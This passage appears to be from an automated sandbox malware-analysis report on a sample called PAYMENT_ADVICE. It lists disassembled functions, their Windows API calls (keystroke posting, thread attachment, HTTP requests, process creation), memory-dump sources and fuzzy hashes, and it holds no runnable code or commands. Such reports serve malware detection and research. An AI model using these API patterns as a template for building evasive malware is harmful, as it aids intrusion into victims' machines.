                                                              • GetWindowThreadProcessId.USER32(00000000), ref: 003A120B
                                                              • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,003A0268,?,00000001), ref: 003A121A
                                                              • GetWindowThreadProcessId.USER32(?,00000000), ref: 003A122C
                                                              • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,003A0268,?,00000001), ref: 003A1245
                                                              • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,003A0268,?,00000001), ref: 003A1257
                                                              • AttachThreadInput.USER32(00000000,00000000,?,?,?,?,?,003A0268,?,00000001), ref: 003A129C
                                                              • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,003A0268,?,00000001), ref: 003A12B1
                                                              • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,003A0268,?,00000001), ref: 003A12BC
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Thread$AttachInput$Window$Process$CurrentForeground
                                                              • String ID:
                                                              • API String ID: 2156557900-0
                                                              • Opcode ID: 2d9c64ab200b4c0040f7c00c7f2642a0b09440c2e626c767293be912c76fde93
                                                              • Instruction ID: 5a0588a36a2950158dc77ca2d6fdd3fedcd0209b6c42dc3b055e3ed5334bf36b
                                                              • Opcode Fuzzy Hash: 2d9c64ab200b4c0040f7c00c7f2642a0b09440c2e626c767293be912c76fde93
                                                              • Instruction Fuzzy Hash: 0D310F75600204FFFB229F50EE88F6A37AEEB56351F124525FE01E62A0D3B4ED508B64
                                                              Function 0034FA5D Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 264comCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 0034FAA6
                                                              • OleUninitialize.OLE32(?,00000000), ref: 0034FB45
                                                              • UnregisterHotKey.USER32(?), ref: 0034FC9C
                                                              • DestroyWindow.USER32(?), ref: 003845D6
                                                              • FreeLibrary.KERNEL32(?), ref: 0038463B
                                                              • VirtualFree.KERNEL32(?,00000000,00008000), ref: 00384668
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
                                                              • String ID: close all
                                                              • API String ID: 469580280-3243417748
                                                              • Opcode ID: 2b4eb1ff056c197fad66da1551912d746f9de48832986b9231f5a2254fc4ed2b
                                                              • Instruction ID: 43795fb01d298621d0bcee262aa5de89b0003b1220b3bdbb19fbad8c2f7fb1fc
                                                              • Opcode Fuzzy Hash: 2b4eb1ff056c197fad66da1551912d746f9de48832986b9231f5a2254fc4ed2b
                                                              • Instruction Fuzzy Hash: 19A14A31701212CFCB2AEF14C995E69F7A5AF05710F5542ADE80AAF662DB30ED16CF90
                                                              Function 003B9113 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 263COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Variant$ClearInit$_memset
                                                              • String ID: ,,=$Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
                                                              • API String ID: 2862541840-1434771687
                                                              • Opcode ID: e43a972388c5097473c9c7e6eb3ca813e8af10b2d9726d57168383831118d4d6
                                                              • Instruction ID: 798e4cd7f962c8520993221db61e8b4b8d15652c12db27229424a761ea8fa032
                                                              • Opcode Fuzzy Hash: e43a972388c5097473c9c7e6eb3ca813e8af10b2d9726d57168383831118d4d6
                                                              • Instruction Fuzzy Hash: E0919131E00219ABDF26CFA5C848FEEBBB8EF45714F11855AF715AB680D7709940CBA0
                                                              Function 0039A068 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 241COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • EnumChildWindows.USER32(?,0039A439), ref: 0039A377
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: ChildEnumWindows
                                                              • String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
                                                              • API String ID: 3555792229-1603158881
                                                              • Opcode ID: 6a0f4fb908656376fd5d996a48b1cb9a2670c45ce9fb43ff1da058edbe6e7a79
                                                              • Instruction ID: 07f0b68ce8287894ca591130f96b3d54b7c24f8a825259240fc0200ed506960c
                                                              • Opcode Fuzzy Hash: 6a0f4fb908656376fd5d996a48b1cb9a2670c45ce9fb43ff1da058edbe6e7a79
                                                              • Instruction Fuzzy Hash: 7691DC31A00A05ABCF0ADFA0C482BEEF7B4FF04300F558619D999AB151DF316959DBD1
                                                              Function 00342E26 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 186windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SetWindowLongW.USER32(?,000000EB), ref: 00342EAE
                                                                • Part of subcall function 00341DB3: GetClientRect.USER32(?,?), ref: 00341DDC
                                                                • Part of subcall function 00341DB3: GetWindowRect.USER32(?,?), ref: 00341E1D
                                                                • Part of subcall function 00341DB3: ScreenToClient.USER32(?,?), ref: 00341E45
                                                              • GetDC.USER32 ref: 0037CD32
                                                              • SendMessageW.USER32(?,00000031,00000000,00000000), ref: 0037CD45
                                                              • SelectObject.GDI32(00000000,00000000), ref: 0037CD53
                                                              • SelectObject.GDI32(00000000,00000000), ref: 0037CD68
                                                              • ReleaseDC.USER32(?,00000000), ref: 0037CD70
                                                              • MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 0037CDFB
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
                                                              • String ID: U
                                                              • API String ID: 4009187628-3372436214
                                                              • Opcode ID: 2ef8cb3185eeb1811fc3a47d0db025cf735c96a51c2cc229f32bb19a3887a791
                                                              • Instruction ID: 0221af811a786119a7463e76097216f0e1b82a47c5c8ce44678cd3910ecde29b
                                                              • Opcode Fuzzy Hash: 2ef8cb3185eeb1811fc3a47d0db025cf735c96a51c2cc229f32bb19a3887a791
                                                              • Instruction Fuzzy Hash: B771AE31400205DFCF339F64C884AAA7BB9FF48310F15926AFD59AA2A6D7359C91DF50
                                                              Function 003B1A15 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 134networkCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 003B1A50
                                                              • HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 003B1A7C
                                                              • InternetQueryOptionW.WININET(00000000,0000001F,00000000,?), ref: 003B1ABE
                                                              • InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 003B1AD3
                                                              • HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 003B1AE0
                                                              • HttpQueryInfoW.WININET(00000000,00000005,?,?,00000000), ref: 003B1B10
                                                              • InternetCloseHandle.WININET(00000000), ref: 003B1B57
                                                                • Part of subcall function 003B2483: GetLastError.KERNEL32(?,?,003B1817,00000000,00000000,00000001), ref: 003B2498
                                                                • Part of subcall function 003B2483: SetEvent.KERNEL32(?,?,003B1817,00000000,00000000,00000001), ref: 003B24AD
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Internet$Http$OptionQueryRequest$CloseConnectErrorEventHandleInfoLastOpenSend
                                                              • String ID:
                                                              • API String ID: 2603140658-3916222277
                                                              • Opcode ID: 23d043cba992f983dc4c258d3f1c3d356dfcc4956042b8bce81c99dd2e78a462
                                                              • Instruction ID: a4a34ef105e501ae5773a6214d96e9e054a0b6d00b182ea77a6bdfec85250619
                                                              • Opcode Fuzzy Hash: 23d043cba992f983dc4c258d3f1c3d356dfcc4956042b8bce81c99dd2e78a462
                                                              • Instruction Fuzzy Hash: D8414DB1501219BFEB139F50CC99FFB7BADEF08358F00412AFA059A541E774AE449BA0
                                                              Function 003B8C46 Relevance: 13.9, APIs: 9, Instructions: 438COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetModuleFileNameW.KERNEL32(?,?,00000104,?,003CF910), ref: 003B8D28
                                                              • FreeLibrary.KERNEL32(00000000,00000001,00000000,?,003CF910), ref: 003B8D5C
                                                              • QueryPathOfRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 003B8ED6
                                                              • SysFreeString.OLEAUT32(?), ref: 003B8F00
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Free$FileLibraryModuleNamePathQueryStringType
                                                              • String ID:
                                                              • API String ID: 560350794-0
                                                              • Opcode ID: 8f4ebdf74c55a8732c66954c8095178c25c08231149ece2d9f91fe89ed2fdf9e
                                                              • Instruction ID: b23eb544ad94820b923d08d7eca3585479d68ae775ab5dc144f87692344c387b
                                                              • Opcode Fuzzy Hash: 8f4ebdf74c55a8732c66954c8095178c25c08231149ece2d9f91fe89ed2fdf9e
                                                              • Instruction Fuzzy Hash: 36F12971A00209AFCF15EF94C884EEEB7B9FF45318F118459FA05AB651DB31AE46CB60
                                                              Function 003BF694 Relevance: 13.9, APIs: 9, Instructions: 386processCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • _memset.LIBCMT ref: 003BF6B5
                                                              • GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 003BF848
                                                              • GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 003BF86C
                                                              • GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 003BF8AC
                                                              • GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 003BF8CE
                                                              • CreateProcessW.KERNEL32(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 003BFA4A
                                                              • GetLastError.KERNEL32(00000000,00000001,00000000), ref: 003BFA7C
                                                              • CloseHandle.KERNEL32(?), ref: 003BFAAB
                                                              • CloseHandle.KERNEL32(?), ref: 003BFB22
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Directory$CloseCurrentHandleSystem$CreateErrorLastProcess_memset
                                                              • String ID:
                                                              • API String ID: 4090791747-0
                                                              • Opcode ID: 1d5b2f2318af03506f09de28b4d17ffa801fddda1204eb6c885a816e934485aa
                                                              • Instruction ID: 21b2f44802acf69b1498bdbe576dbe430373731d82a19ce56c533b7a91b4d4db
                                                              • Opcode Fuzzy Hash: 1d5b2f2318af03506f09de28b4d17ffa801fddda1204eb6c885a816e934485aa
                                                              • Instruction Fuzzy Hash: A6E1B0316042009FC716EF24C881BABBBE5EF85354F14896DF9898F6A2CB31EC45CB52
                                                              Function 003A4CC1 Relevance: 13.7, APIs: 9, Instructions: 170filestringCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 003A466E: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,003A3697,?), ref: 003A468B
                                                                • Part of subcall function 003A466E: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,003A3697,?), ref: 003A46A4
                                                                • Part of subcall function 003A4A31: GetFileAttributesW.KERNEL32(?,003A370B), ref: 003A4A32
                                                              • lstrcmpiW.KERNEL32(?,?), ref: 003A4D40
                                                              • _wcscmp.LIBCMT ref: 003A4D5A
                                                              • MoveFileW.KERNEL32(?,?), ref: 003A4D75
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: FileFullNamePath$AttributesMove_wcscmplstrcmpi
                                                              • String ID:
                                                              • API String ID: 793581249-0
                                                              • Opcode ID: 001e1bf4c21efc4a5ed4c10b0cc7b2cee662c904b21ffe588e41ad7e7665caba
                                                              • Instruction ID: 066db907b4a049e6b9965aef3b795f04260a724be72ef9d53b715bfda007ad78
                                                              • Opcode Fuzzy Hash: 001e1bf4c21efc4a5ed4c10b0cc7b2cee662c904b21ffe588e41ad7e7665caba
                                                              • Instruction Fuzzy Hash: F15142B24083459BC726DBA4D8819DFB3ECEF85350F00492EB689D7152EF74A588C766
                                                              Function 003C8645 Relevance: 13.7, APIs: 9, Instructions: 168COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • InvalidateRect.USER32(?,00000000,00000001,?,00000001), ref: 003C86FF
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: InvalidateRect
                                                              • String ID:
                                                              • API String ID: 634782764-0
                                                              • Opcode ID: d9c336331cc541fb5a09b59166bb8e598e72f72f4e39956e69e661631b75921b
                                                              • Instruction ID: 138a0bf4eae0496724fbb0b30a5a08715e4e853e7bb5f33ea3fb1b2de587047a
                                                              • Opcode Fuzzy Hash: d9c336331cc541fb5a09b59166bb8e598e72f72f4e39956e69e661631b75921b
                                                              • Instruction Fuzzy Hash: 9451B430500244BEEF229F24DC89FAD7BA9EB05354F604129FA55EA5E1DF71AF90CB50
                                                              Function 00342B72 Relevance: 13.7, APIs: 9, Instructions: 161windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • LoadImageW.USER32(00000000,?,00000001,00000010,00000010,00000010), ref: 0037C2F7
                                                              • ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 0037C319
                                                              • LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 0037C331
                                                              • ExtractIconExW.SHELL32(?,00000000,?,00000000,00000001), ref: 0037C34F
                                                              • SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 0037C370
                                                              • DestroyIcon.USER32(00000000), ref: 0037C37F
                                                              • SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 0037C39C
                                                              • DestroyIcon.USER32(?), ref: 0037C3AB
                                                                • Part of subcall function 003CA4AF: DeleteObject.GDI32(00000000), ref: 003CA4E8
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Icon$DestroyExtractImageLoadMessageSend$DeleteObject
                                                              • String ID:
                                                              • API String ID: 2819616528-0
                                                              • Opcode ID: 8eae9e03a64244dd1420a4c54238fbe9467afcb725071159542003b2da885d2b
                                                              • Instruction ID: ade7a3a8ba4f054f1c346ed12cdcd494993c424a91d54bebbeaac32fae347e2d
                                                              • Opcode Fuzzy Hash: 8eae9e03a64244dd1420a4c54238fbe9467afcb725071159542003b2da885d2b
                                                              • Instruction Fuzzy Hash: 7E517974610609AFDB26DF64CC45FAB3BE9EB48310F108528F906EB690DB74AC90DB50
                                                              Function 0039966E Relevance: 13.6, APIs: 9, Instructions: 66sleepkeyboardwindowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 0039A82C: GetWindowThreadProcessId.USER32(?,00000000), ref: 0039A84C
                                                                • Part of subcall function 0039A82C: GetCurrentThreadId.KERNEL32 ref: 0039A853
                                                                • Part of subcall function 0039A82C: AttachThreadInput.USER32(00000000,?,00399683,?,00000001), ref: 0039A85A
                                                              • MapVirtualKeyW.USER32(00000025,00000000), ref: 0039968E
                                                              • PostMessageW.USER32(?,00000100,00000025,00000000), ref: 003996AB
                                                              • Sleep.KERNEL32(00000000,?,00000100,00000025,00000000,?,00000001), ref: 003996AE
                                                              • MapVirtualKeyW.USER32(00000025,00000000), ref: 003996B7
                                                              • PostMessageW.USER32(?,00000100,00000027,00000000), ref: 003996D5
                                                              • Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 003996D8
                                                              • MapVirtualKeyW.USER32(00000025,00000000), ref: 003996E1
                                                              • PostMessageW.USER32(?,00000101,00000027,00000000), ref: 003996F8
                                                              • Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 003996FB
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
                                                              • String ID:
                                                              • API String ID: 2014098862-0
                                                              • Opcode ID: d13ff05b74cb0929c2b1d5aaf21dc4c67b145bc5702b1f378da925339d7f741f
                                                              • Instruction ID: d98b9d8387680f67b0c8184e557c781eccd922c245372264010a9e1db2b7f416
                                                              • Opcode Fuzzy Hash: d13ff05b74cb0929c2b1d5aaf21dc4c67b145bc5702b1f378da925339d7f741f
                                                              • Instruction Fuzzy Hash: C411E571910618BEFA116F64DC49F6A7F1EDB4C7A0F110426F644EB0A0C9F36C10DBA4
